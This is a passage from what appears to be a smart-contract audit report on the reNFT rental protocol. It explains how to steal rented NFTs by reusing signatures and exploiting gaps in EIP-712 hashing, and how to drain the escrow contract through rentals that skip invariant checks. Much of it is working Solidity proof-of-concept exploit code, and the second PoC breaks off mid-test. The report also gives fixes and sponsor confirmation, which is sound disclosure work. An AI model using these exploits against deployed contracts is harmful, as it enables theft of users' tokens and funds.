183:                abi.encode(
184:                    _RENTAL_ORDER_TYPEHASH,
185:                    order.seaportOrderHash,
186:                    keccak256(abi.encodePacked(itemHashes)), // items correctly included in the derived EIP-712 hash

Therefore, this exploit can only occur for ERC1155 tokens since the malicious actor would need to first create a RentalOrder for the same ERC1155 tokens (amount and tokenId) as the victim’s RentalOrder. This is not possible for ERC721 tokens since they are non-fungible. The result of this lesser impact is that the malicious actor stole the ERC1155 tokens from the victim, froze the victim’s rental payment, and the malicious actor’s originally rented ERC1155 tokens will remain frozen in their safe wallet (this is due to the fact that the malicious actor’s orderhash has been removed from storage and therefore can no longer be stopped/reclaimed).

Note: Since the “lesser” impact above (see gist) can still be considered of high severity/impact I will include an additional PoC for this exploit at the end of the Proof of Concept section, in the form of a gist.

Main Impact

A malicious actor is able to steal any actively rented NFT using the exploit path detailed in the first section. The capital requirements for the exploiter are as follows: 1) Have at least 1 wei of an ERC20 that will be used to create a malicious RentalOrder (the exploiter will receive these funds back at the end of the exploit). 2) create and deploy a attackerContract and a safe wallet (gas costs). 3) Additional gas costs will be incurred if exploiting several victim RentalOrders at once via stopRentBatch.

This will result in the specified NFT to be stolen from the victim’s safe wallet and transferred to the attacker’s safe wallet. Since the attacker’s rental order was atomically created and stopped during this function call, no one will be able to call stopRent for this malicious RentalOrder, rendering the stolen NFT frozen in the attacker’s safe wallet. Additionally, the victim RentalOrders will not be able to be stopped upon expiration since the reclamation process that occurs during the stopRent function call will fail (victim safe wallet no longer is the owner of the stolen NFT). This will result in the rental payment for this victim RentalOrder to be frozen in the escrow contract. An exploiter is able to prepare this exploit for multiple victim RentalOrders and steal multiple NFTs in one transaction via stopRentBatch.

Proof of Concept

In order to provide more context for the PoC provided below, I will detail the steps that are occuring in the PoC:

  1. Two orders are created (these will act as our victim orders). One will be for an ERC721 token and the other will be for an ERC1155 token.
  2. Our attackerContract is created.
  3. x amount of wei (for an arbitrary ERC20) is sent to our attackerContract. x == num_of_victim_orders. These funds will be used when the attackerContract programatically creates the malicious rental orders (our attackerContract will behave as lender and renter).
  4. A safe wallet is created (attacker safe) and our attackerContract is initialized as an owner for that safe.
  5. A generic signature is obtained via a OrderMetadata struct from one of the target orders that were initially created (in practice the order used can be any order).
  6. Order structs were created and partially filled with values that pertain to the PAY and PAYEE orders that our attackerContract will create on-chain via Seaport::validate. The only fields that are not set during this process are the OfferItem or ConsiderationItem fields that specify the ERC721 or ERC1155 token that we will be stealing (these are dyanmic and therefore are determined during the callback functions). The Order structs are then stored in the attackerContract for later use.
  7. This same process is done for the AdvancedOrder structs that are required for the fulfillment transaction (i.e. Seaport::matchAdvancedOrders). The AdvancedOrder structs are then stored in the attackerContract for later use.
  8. The Fulfillment struct (required during the Seaport::matchAdvancedOrders function call) is pre-constructed. This struct willl remain the same for all of our order creations. This struct is also stored in the attackerContract for later use.
  9. The RentalOrder.seaportOrderHash (this is the same as the orderHash that is computed for our Order during the call to Seaport::validate) is pre-computed via Seaport::getOrderHash. Note that this orderHash needs to be computed with a complete Order struct. Since our Order structs were only partially filled during step 6, we will use the RentalOrder.items field of the target RentalOrder to retrieve the details of the ERC721/ERC1155 token(s) that we will be stealing. We will then use these details to temporarily construct our actual Order struct and therefore pre-compute the required orderHash.
  10. Using the items field of the victim RentalOrder, we will create our malicious RentalOrder.
  11. The attackerContract will initiate a call to stopRent and pass in our malicious RentalOrder. However, we will first set RentalOrder.rentalWallet equal to the rentalWallet of our victim RentalOrder (the safe wallet that we will be stealing the NFT from).
  12. Steps 9 - 11 will be performed for multiple victim RentalOrders by looping over the orders and computing the necessary malicious RentalOrders. This time, instead of the attackerContract initiating a call to stopRent, a call to stopRentBatch will be initiated and an array of the malicious RentalOrders will be supplied.
  13. The resulting state will be validated: attacker safe is now the owner of all the stolen NFTs and the victim RentalOrders can no longer be stopped (even after their expiration).

Place the following test inside of the /test/integration/ directory and run test with forge test --mc StealAllRentedNFTs_POC

The below PoC showcases how an attacker can leverage all the bugs described in this report to steal multiple actively rented NFTs via stopRentBatch.

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {BaseTest} from "@test/BaseTest.sol";

import {
    OrderType, 
    OrderMetadata, 
    RentalOrder,
    RentPayload,
    OrderFulfillment,
    Item,
    SettleTo,
    ItemType as reNFTItemType
} from "@src/libraries/RentalStructs.sol";

import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    CriteriaResolver,
    Fulfillment, 
    FulfillmentComponent,
    OrderType as SeaportOrderType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {MockERC721} from "../mocks/tokens/standard/MockERC721.sol";
import {MockERC20} from "../mocks/tokens/standard/MockERC20.sol";
import {MockERC1155} from "../mocks/tokens/standard/MockERC1155.sol";
import {Seaport} from "../fixtures/external/Seaport.sol";
import {OrderParametersLib} from "@seaport-sol/SeaportSol.sol";
import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {Stop} from "../fixtures/protocol/Protocol.sol";


contract AttackerContract {
    address safe;
    address seaportConduit;
    Seaport seaport;
    Order payOrder;
    Order payeeOrder;
    AdvancedOrder payAdvancedOrder;
    AdvancedOrder payeeAdvancedOrder;
    Fulfillment fulfillmentERC721;
    Fulfillment fulfillmentERC20;

    constructor (address _conduit, address _token, Seaport _seaport) public {
        seaportConduit = _conduit;
        seaport = _seaport;
        MockERC20(_token).approve(_conduit, type(uint256).max);
    }

    function getPayOrderParams() external view returns (OrderParameters memory) {
        return payOrder.parameters;
    }

    function getPayeeOrderParams() external view returns (OrderParameters memory) {
        return payeeOrder.parameters;
    }

    function getPayOrderParamsToHash(
        ItemType itemType, 
        address token, 
        uint256 tokenId, 
        uint256 amount
    ) external view returns (OrderParameters memory) {
        OrderParameters memory parameters = payOrder.parameters;
        parameters.offer[0].itemType = itemType;
        parameters.offer[0].token = token;
        parameters.offer[0].identifierOrCriteria = tokenId;
        parameters.offer[0].startAmount = amount;
        parameters.offer[0].endAmount = amount;

        return parameters;
    }

    function storeSafe(address _safe) external {
        safe = _safe;
    }

    function storePayOrder(Order calldata _order) external {
        payOrder = _order;
    }

    function storePayeeOrder(Order calldata _order) external {
        payeeOrder = _order;
    }

    function storePayAdvancedOrder(AdvancedOrder calldata _advancedOrder) external {
        payAdvancedOrder = _advancedOrder;
    }

    function storePayeeAdvancedOrder(AdvancedOrder calldata _advancedOrder) external {
        payeeAdvancedOrder = _advancedOrder;
    }

    function storeFulfillment(Fulfillment calldata _fulfillmentERC721, Fulfillment calldata _fulfillmentERC20) external {
        fulfillmentERC721 = _fulfillmentERC721;
        fulfillmentERC20 = _fulfillmentERC20;
    }

    function stopRental(RentalOrder calldata rentalOrder, Stop stop) external {
        stop.stopRent(rentalOrder);
    }

    function stopRentals(RentalOrder[] calldata rentalOrders, Stop stop) external {
        stop.stopRentBatch(rentalOrders);
    }

    function onERC1155Received(
        address ,
        address ,
        uint256 tokenId,
        uint256 amount,
        bytes calldata
    ) external returns (bytes4) {
        address token = msg.sender;

        _executeCallback(ItemType.ERC1155, token, tokenId, amount);

        return this.onERC1155Received.selector;
    }

    function onERC721Received(
        address ,
        address ,
        uint256 tokenId,
        bytes calldata 
    ) external returns (bytes4) {
        address token = msg.sender;
        uint256 amount = 1;
        
        _executeCallback(ItemType.ERC721, token, tokenId, amount);

        return this.onERC721Received.selector;
    }

    function _executeCallback(ItemType itemType, address token, uint256 tokenId, uint256 amount) internal {
        // update storage for this specific nft
        _initializeNFT(itemType, token, tokenId, amount);

        // approve seaport to handle received NFT 
        _approveSeaportConduit(itemType, token, tokenId);

        // validate pay order 
        _validateOnChain(payOrder);

        // validate payee order
        _validateOnChain(payeeOrder);

        // fulfill order as renter
        _fulfillOrder();
    }

    function _approveSeaportConduit(ItemType itemType, address token, uint256 tokenId) internal {
        if (itemType == ItemType.ERC721) {
            MockERC721(token).approve(seaportConduit, tokenId);
        }
        if (itemType == ItemType.ERC1155) {
            MockERC1155(token).setApprovalForAll(seaportConduit, true);
        }
    }

    function _validateOnChain(Order memory order) internal {
        Order[] memory orders = new Order[](1);
        orders[0] = order;
        seaport.validate(orders);
    }

    function _fulfillOrder() internal {
        AdvancedOrder[] memory advancedOrders = new AdvancedOrder[](2);
        advancedOrders[0] = payAdvancedOrder;
        advancedOrders[1] = payeeAdvancedOrder;

        Fulfillment[] memory fulfillments = new Fulfillment[](2);
        fulfillments[0] = fulfillmentERC721;
        fulfillments[1] = fulfillmentERC20;

        seaport.matchAdvancedOrders(
            advancedOrders,
            new CriteriaResolver[](0),
            fulfillments,
            address(0)
        );
    }

    function _initializeNFT(ItemType itemType, address token, uint256 tokenId, uint256 amount) internal {
        payAdvancedOrder.parameters.offer[0].itemType = itemType;
        payAdvancedOrder.parameters.offer[0].token = token;
        payAdvancedOrder.parameters.offer[0].identifierOrCriteria = tokenId;
        payAdvancedOrder.parameters.offer[0].startAmount = amount;
        payAdvancedOrder.parameters.offer[0].endAmount = amount;

        payeeAdvancedOrder.parameters.consideration[0].itemType = itemType;
        payeeAdvancedOrder.parameters.consideration[0].token = token;
        payeeAdvancedOrder.parameters.consideration[0].identifierOrCriteria = tokenId;
        payeeAdvancedOrder.parameters.consideration[0].startAmount = amount;
        payeeAdvancedOrder.parameters.consideration[0].endAmount = amount;
        payeeAdvancedOrder.parameters.consideration[0].recipient = payable(safe);

        payOrder.parameters.offer[0].itemType = itemType;
        payOrder.parameters.offer[0].token = token;
        payOrder.parameters.offer[0].identifierOrCriteria = tokenId;
        payOrder.parameters.offer[0].startAmount = amount;
        payOrder.parameters.offer[0].endAmount = amount;

        payeeOrder.parameters.consideration[0].itemType = itemType;
        payeeOrder.parameters.consideration[0].token = token;
        payeeOrder.parameters.consideration[0].identifierOrCriteria = tokenId;
        payeeOrder.parameters.consideration[0].startAmount = amount;
        payeeOrder.parameters.consideration[0].endAmount = amount;
        payeeOrder.parameters.consideration[0].recipient = payable(safe);
    }
}

contract StealAllRentedNFTs_POC is BaseTest {

    function testStealAllRentedNFTs() public {
        // ------ Setting up previous state ------ //

        // create and fulfill orders that we will exploit
        (
            Order memory order, 
            OrderMetadata memory metadata, 
            RentalOrder[] memory victimRentalOrders
        ) = _createAndFulfillVictimOrders();

        // ------ Prerequisites ------ //

        // instantiate attackerContract
        AttackerContract attackerContract = new AttackerContract(
            address(conduit), // seaport conduit
            address(erc20s[0]), // token we will use for our rental orders
            seaport
        );

        // send arbitrary # of ERC20 tokens for rental payment to our attackerContract
        erc20s[0].mint(address(attackerContract), victimRentalOrders.length); // we will be stealing from two rentals and use 1 wei for each

        // create a safe for our attackerContract
        address attackerSafe;
        { // to fix stack too deep errors
            address[] memory owners = new address[](1);
            owners[0] = address(attackerContract);
            attackerSafe = factory.deployRentalSafe(owners, 1);
        }
        attackerContract.storeSafe(attackerSafe);
        
        // obtain generic signature for `RentPayload` 
        // this is done via the front-end for any order and we will then use matching `OrderMetadata.rentDuration` and `OrderMetadata.hooks` fields when creating our new order
        // `RentPayload.intendedFulfiller` will be our attackerContract and `RentPayload.fulfillment` will be our attackerContract's safe
        // any expiration given to us by the front-end would do since we will be executing these actions programmatically
        RentPayload memory rentPayload = RentPayload(
            OrderFulfillment(attackerSafe), 
            metadata, 
            block.timestamp + 100, 
            address(attackerContract)
        ); // using Alice's metadata (order) as an example, but could realistically be any order

        // generate the signature for the payload (simulating signing an order similar to Alice's (metadata only) via the front end)
        bytes memory signature = _signProtocolOrder(
            rentalSigner.privateKey,
            create.getRentPayloadHash(rentPayload)
        );

        // ------ Prep `attackerContract` ------ //

        // precompute `validate()` calldata for new order (PAY order) for on-chain validation
        // re-purpose Alice's order (for simplicity) for our use by replacing all necessary fields with values that pertain to our new order
        order.parameters.offerer = address(attackerContract);
        { // to fix stack too deep errors
            ConsiderationItem[] memory considerationItems = new ConsiderationItem[](0);
            order.parameters.consideration = considerationItems; // no consideration items for a PAY order

            OfferItem[] memory offerItems = new OfferItem[](2);
            // offerItems[0] will change dynamically in our attacker contract
            offerItems[1] = OfferItem({
                itemType: ItemType.ERC20,
                token: address(erc20s[0]),
                identifierOrCriteria: uint256(0),
                startAmount: uint256(1),
                endAmount: uint256(1)
            });

            order.parameters.offer = offerItems;

            order.parameters.totalOriginalConsiderationItems = 0; // 0 since this is a PAY order
            
            // store `validate()` calldata for PAY order in attackerContract for later use
            attackerContract.storePayOrder(order);
        }

        // precompute `validate()` calldata for new order (PAYEE order) for on-chain validation (attackerContract is offerer and fulfiller)
        { // to fix stack too deep errors
            ConsiderationItem[] memory considerationItems = new ConsiderationItem[](2);
            // considerationItems[0] will change dynamically in our attacker contract
            considerationItems[1] = ConsiderationItem({
                itemType: ItemType.ERC20,
                token: address(erc20s[0]),
                identifierOrCriteria: uint256(0),
                startAmount: uint256(1),
                endAmount: uint256(1),
                recipient: payable(address(ESCRW))
            });

            order.parameters.consideration = considerationItems; // considerationItems for PAYEE mirror offerItems from PAY

            OfferItem[] memory offerItems = new OfferItem[](0);
            order.parameters.offer = offerItems; // no offerItems for PAYEE

            order.parameters.totalOriginalConsiderationItems = 2; // 2 since this is our PAYEE order

            // store `validate()` calldata for PAYEE order in attackerContract for later use
            attackerContract.storePayeeOrder(order);
        }

        // precompute `matchAdvancedOrders()` calldata for fulfillment of the two orders (PAY + PAYEE) and store in attackerContract
        // construct AdvancedOrder[] calldata
        { // to fix stack too deep errors
            rentPayload.metadata.orderType = OrderType.PAY; // modify OrderType to be a PAY order (necessary for exploit). orderType not checked during signature validation
            AdvancedOrder memory payAdvancedOrder = AdvancedOrder(
                attackerContract.getPayOrderParams(), 
                1, 
                1, 
                hex"",  // signature does not matter 
                abi.encode(rentPayload, signature) // extraData. Note: we are re-using the signature we received from alice's metadata
            );
            rentPayload.metadata.orderType = OrderType.PAYEE; // modify OrderType to be a PAYEE order (necessary for exploit). orderType not checked during signature validation
            AdvancedOrder memory payeeAdvancedOrder = AdvancedOrder(
                attackerContract.getPayeeOrderParams(), 
                1, 
                1, 
                hex"",  // signature does not matter 
                abi.encode(rentPayload, signature) // extraData. Note: we are re-using the signature we received from alice's metadata
            );
            
            // store AdvancedOrder structs in attackerContract for later use
            attackerContract.storePayAdvancedOrder(payAdvancedOrder);
            attackerContract.storePayeeAdvancedOrder(payeeAdvancedOrder);
        }

        // construct Fulfillment[] calldata
        { // to fix stack too deep errors
            FulfillmentComponent[] memory offerCompERC721 = new FulfillmentComponent[](1);
            FulfillmentComponent[] memory considCompERC721 = new FulfillmentComponent[](1);

            offerCompERC721[0] = FulfillmentComponent({orderIndex: 0, itemIndex: 0});
            considCompERC721[0] = FulfillmentComponent({orderIndex: 1, itemIndex: 0});

            FulfillmentComponent[] memory offerCompERC20 = new FulfillmentComponent[](1);
            FulfillmentComponent[] memory considCompERC20 = new FulfillmentComponent[](1);

            offerCompERC20[0] = FulfillmentComponent({orderIndex: 0, itemIndex: 1});
            considCompERC20[0] = FulfillmentComponent({orderIndex: 1, itemIndex: 1});

            Fulfillment memory fulfillmentERC721 = Fulfillment({offerComponents: offerCompERC721, considerationComponents: considCompERC721});
            Fulfillment memory fulfillmentERC20 = Fulfillment({offerComponents: offerCompERC20, considerationComponents: considCompERC20});
            
            // store Fulfillment[] in attackerContract for later use
            attackerContract.storeFulfillment(fulfillmentERC721, fulfillmentERC20);
        }

        // ------ loop through victimRentalOrders to create our complimentary, malicious rentalOrders ------ //

        // pre-compute `RentalOrder` for our new rental orders
        // compute ZoneParameters.orderHash (this is the orderHash for our PAY order)
        RentalOrder[] memory rentalOrders = new RentalOrder[](victimRentalOrders.length);

        for (uint256 i; i < victimRentalOrders.length; i++) {
            Item memory victimItem = victimRentalOrders[i].items[0];
            ItemType itemType;
            if (victimItem.itemType == reNFTItemType.ERC721) {
                itemType = ItemType.ERC721;
            }
            if (victimItem.itemType == reNFTItemType.ERC1155) {
                itemType = ItemType.ERC1155;
            }

            bytes32 orderHash = seaport.getOrderHash(OrderParametersLib.toOrderComponents(
                attackerContract.getPayOrderParamsToHash(itemType, victimItem.token, victimItem.identifier, victimItem.amount), 0)
            );

            // construct the malicious rental order
            Item[] memory items = new Item[](2);
            items[0] = Item(victimItem.itemType, SettleTo.LENDER, victimItem.token, victimItem.amount, victimItem.identifier);
            items[1] = Item(reNFTItemType.ERC20, SettleTo.RENTER, address(erc20s[0]), uint256(1), uint256(0)); // the same for every malicious order

            RentalOrder memory rentalOrder = RentalOrder({
                seaportOrderHash: orderHash,
                items: items, // only PAY order offer items are added in storage
                hooks: metadata.hooks,
                orderType: OrderType.PAY, // only PAY order is added in storage
                lender: address(attackerContract),
                renter: address(attackerContract),
                rentalWallet: attackerSafe,
                startTimestamp: block.timestamp,
                endTimestamp: block.timestamp + metadata.rentDuration // note: rentDuration does not matter
            });

            // set `rentalOrder.rentalWallet` (currently equal to our attackerContract's safe) to be equal to the victim's safe
            rentalOrder.rentalWallet = victimRentalOrders[i].rentalWallet;

            rentalOrders[i] = rentalOrder;
        }

        // ------ Execute exploit ------ //

        // call `stopRentBatch(rentalOrders)`. All fields pertain to our soon-to-be created orders, except for the `rentalWallet`, which is pointing to the victim's safe
        // attackerContract.stopRental(rentalOrder[0], stop);
        // attackerContract.stopRental(rentalOrder[1], stop);
        attackerContract.stopRentals(rentalOrders, stop);
        
        // ------ Loop over all victimRentalOrders to verify end state ------ //

        // speed up in time past the victimRentalOrders' expiration
        vm.warp(block.timestamp + 750);

        for (uint256 i; i < victimRentalOrders.length; i++) {
            Item memory victimItem = victimRentalOrders[i].items[0];

            // verify that our attackerContract's safe is now the owner of the NFT
            if (victimItem.itemType == reNFTItemType.ERC721) {
                assertEq(MockERC721(victimItem.token).ownerOf(victimItem.identifier), attackerSafe);
            }
            if (victimItem.itemType == reNFTItemType.ERC1155) {
                assertEq(MockERC1155(victimItem.token).balanceOf(attackerSafe, victimItem.identifier), victimItem.amount);
            }

            // verify that our rentalOrder has been stopped (deleted from storage)
            RentalOrder memory rentalOrder = rentalOrders[i];
            bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);
            assertEq(STORE.orders(rentalOrderHash), false);

            // lender attempts to stop victimRentalOrder, but call fails (renter's safe is no longer the owner of the NFT)
            vm.startPrank(victimRentalOrders[i].lender);
            vm.expectRevert();
            stop.stopRent(victimRentalOrders[i]);
            vm.stopPrank();

            // verify that victimRentalOrder has not been stopped (is still in storage)
            bytes32 victimRentalOrderHash = create.getRentalOrderHash(victimRentalOrders[i]);
            assertEq(STORE.orders(victimRentalOrderHash), true);
        }

        // renters' rental payments to lenders' is still in the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(victimRentalOrders.length * 100));

        // verify that our attackerContract received its rental payment back from all the created malicious orders
        assertEq(erc20s[0].balanceOf(address(attackerContract)), victimRentalOrders.length);

        // End result:
        // 1. Lenders' NFTs were stolen from renters' safe wallet and is now frozen in the attackerContract's safe wallet
        // 2. Renters' rental payments to Lenders are frozen in the Escrow contract since their rentals can not be stoppped
    }

    function _createAndFulfillVictimOrders() internal returns (
        Order memory order, 
        OrderMetadata memory metadata,
        RentalOrder[] memory rentalOrders
    ) {
        // create a BASE order ERC721
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation 
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrderA = finalizeBaseOrderFulfillment();
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrderA);

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(9900));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

        // assert that the ERC721 is in the rental wallet of the fulfiller
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // create a BASE order ERC1155
        createOrder({
            offerer: carol,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation 
        (
            order,
            orderHash,
            metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: dan,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrderB = finalizeBaseOrderFulfillment();
        rentalOrderHash = create.getRentalOrderHash(rentalOrderB);

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(dan.safe), address(erc1155s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(dan.addr), uint256(9900));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(200));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(200));

        // assert that the ERC721 is in the rental wallet of the fulfiller
        assertEq(erc1155s[0].balanceOf(address(dan.safe), 0), uint256(100));

        RentalOrder[] memory rentalOrders = new RentalOrder[](2);
        rentalOrders[0] = rentalOrderA;
        rentalOrders[1] = rentalOrderB;

        return (order, metadata, rentalOrders);
    }
}

Additional PoC for “lesser” high severity/impact vulnerability achieved via only exploiting bug #2: reNFT-StealERC1155Tokens_PoC.md

By addressing the non-compliant EIP-712 functions we can mitigate the main exploit path described in this report. I would suggest the following changes:

diff --git a/./src/packages/Signer.sol b/./src/packages/Signer.sol
index 6edf32c..ab7e62e 100644
--- a/./src/packages/Signer.sol
+++ b/./src/packages/Signer.sol
@@ -188,6 +188,7 @@ abstract contract Signer {
                     order.orderType,
                     order.lender,
                     order.renter,
+                    order.rentalWallet,
                     order.startTimestamp,
                     order.endTimestamp
                 )
diff --git a/./src/packages/Signer.sol b/./src/packages/Signer.sol
index 6edf32c..c2c375c 100644
--- a/./src/packages/Signer.sol
+++ b/./src/packages/Signer.sol
@@ -232,8 +232,10 @@ abstract contract Signer {
             keccak256(
                 abi.encode(
                     _ORDER_METADATA_TYPEHASH,
+                    metadata.orderType,
                     metadata.rentDuration,
-                    keccak256(abi.encodePacked(hookHashes))
+                    keccak256(abi.encodePacked(hookHashes)),
+                    metadata.emittedExtraData
                 )
             );
     }

I would also suggest that the RentPayload, which is the signature digest of the server-side signer, be modified to include a field that is unique to the specific order that is being signed. This would disable users from obtaining a single signature and utilizing that signature arbitrarily (for multiple fulfillments/fulfill otherwise “restricted” orders).

Alec1017 (reNFT) confirmed

Note: See full discussion here.

reNFT mitigated:

Mitigation of this issue is the result of mitigating a handful of other findings (H-07, M-13, M-11, M-06).

Status: Mitigation confirmed. Full details in reports from EV_om, sin1st3r__ and juancito.


[H-06] Escrow contract can be drained by creating rentals that bypass execution invariant checks

Submitted by juancito, also found by DeFiHackLabs (1, 2, 3)

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L540-L544

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L695

The Escrow contract where ERC20 tokens are escrowed for payments can be completely drained.

Proof of Concept

It is possible to create rentals where no assets are transfered, but storage is still updated as normal. Then these fake rentals can be stopped to drain ERC20 tokens from the Escrow contract.

The Create contract checks the expected receivers of ERC20 tokens and NFTs via _executionInvariantChecks().

This is to make sure that ERC20 tokens go to the Escrow contract, while NFTs go to the corresponding Safe wallet.

The key point of the attack is to fulfill an order, so that the executions length is zero and no execution is checked.

This is possible by making the offerer fulfill all the considerations within the same address of the offers.

I’m assuming this is because of point 9 in the Match Orders section of SeaPort Docs. Nevertheless, since SeaPort was forked, the coded POC still shows how the attack is possible.

  1. Perform transfers as part of each execution
  2. Ignore each execution where `to == from``

To put it in an example:

  1. Carol signs a normal PAY rental order with an NFT + ERC20 tokens as an offer
  2. Carol signs the malicious PAYEE counterpart order setting the recipient as her address (instead of the Safe for the NFT, and the ESCRW for the ERC20 tokens)
  3. Carol matches those orders via the forked SeaPort
  4. SeaPort calculates the totalExecutions, and since all offers and considerations are from the same address, there are no executions, as there will be no transfers
  5. Both the PAY & PAYEE ordered are fulfilled and call Create::validateOrder()
  6. No recipient checks are performed, since there are no executions
  7. The STORE storage will add the new rental for Carol, while increasing the deposit amount in the Escrow
  8. SeaPort ends the order matching and fulfillment without performing any transfer
  9. The rent can be stopped and it will drain the Escrow contract of any token + amount specified in the fake rent

The following POC proves how this is still possible with the forked SeaPort version and the current contracts.

Note: For the sake of simplicity this POC:

  • It deals some ERC20 tokens to the Escrow contract to be stolen (instead of simulating another legit rental). It doesn’t affect the outcome, as the tokens are stolen, regardless of whom they “belong to”.
  • It uses a fixture carol.safe = SafeL2(payable(carol.addr)); just to make an ad-hoc replacement for the ERC721 consideration recipient in the PAYEE order creation, and make the POC shorter. It is reset right after createOrder() is called.
  • It uses a fixture ESCRW = PaymentEscrow(carol.addr); just to make an ad-hoc replacement for the ERC20 consideration recipient in the PAYEE order creation, and make the POC shorter. It is reset right after createOrder() is called.

Create a new file with this test in smart-contracts/test/integration/Drain.t.sol:

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Safe} from "@safe-contracts/Safe.sol";

import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";

contract TestDrain is BaseTest {
    function test_Drain_Escrow() public {
        // create a legit PAY order
        createOrder({
            offerer: carol,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: carol,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // << Malicious order creation below >>

        // fixtures to replace the ERC721 and ERC20 recipients in `createOrder()`
        
        
        SafeL2 carolSafe = carol.safe;
        PaymentEscrow tempESCRW = ESCRW;
        carol.safe = SafeL2(payable(carol.addr));
        ESCRW = PaymentEscrow(carol.addr);

        // create a malicious PAYEE order.
        // It will set the ERC721 and ERC20 recipients as Carol herself
        createOrder({
            offerer: carol,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // reset fixtures
        carol.safe = carolSafe;
        ESCRW = tempESCRW;

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: carol,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // Verify Carol's balances and the Escrow balance before the rental attack is performed
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10000));
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // finalize the order pay/payee order fulfillment
        (
            RentalOrder memory payRentalOrder,
            RentalOrder memory payeeRentalOrder
        ) = finalizePayOrderFulfillment();

        // << The first part of the attack was performed >>
        // A new rental was created without any token transfers

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);

        // assert that the rental order WAS STORED
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token IS IN STORAGE
        assertEq(STORE.isRentedOut(address(carol.safe), address(erc721s[0]), 0), true);

        // assert that Carol DID NOT MAKE A PAYMENT (same balance as before)
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10000));

        // assert that NO PAYMENT WAS MADE to the Escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // assert that a payment was synced ERRONEOUSLY in the escrow contract (as no payment was made)
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

        // assert that the ERC721 IS STILL owned by Carol (it didn't go to the Safe wallet)
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));


        // << The second part of the attack is performed >>

        // speed up in time past the rental expiration
        // it uses the default values, but an attacker would make the expiration as soon as possible
        vm.warp(block.timestamp + 750);

        // Transfer the NFT to the Safe, so that the rent stop succeeds while trying to transfer the NFT back
        vm.prank(carol.addr);
        erc721s[0].safeTransferFrom(carol.addr, address(carol.safe), 0);

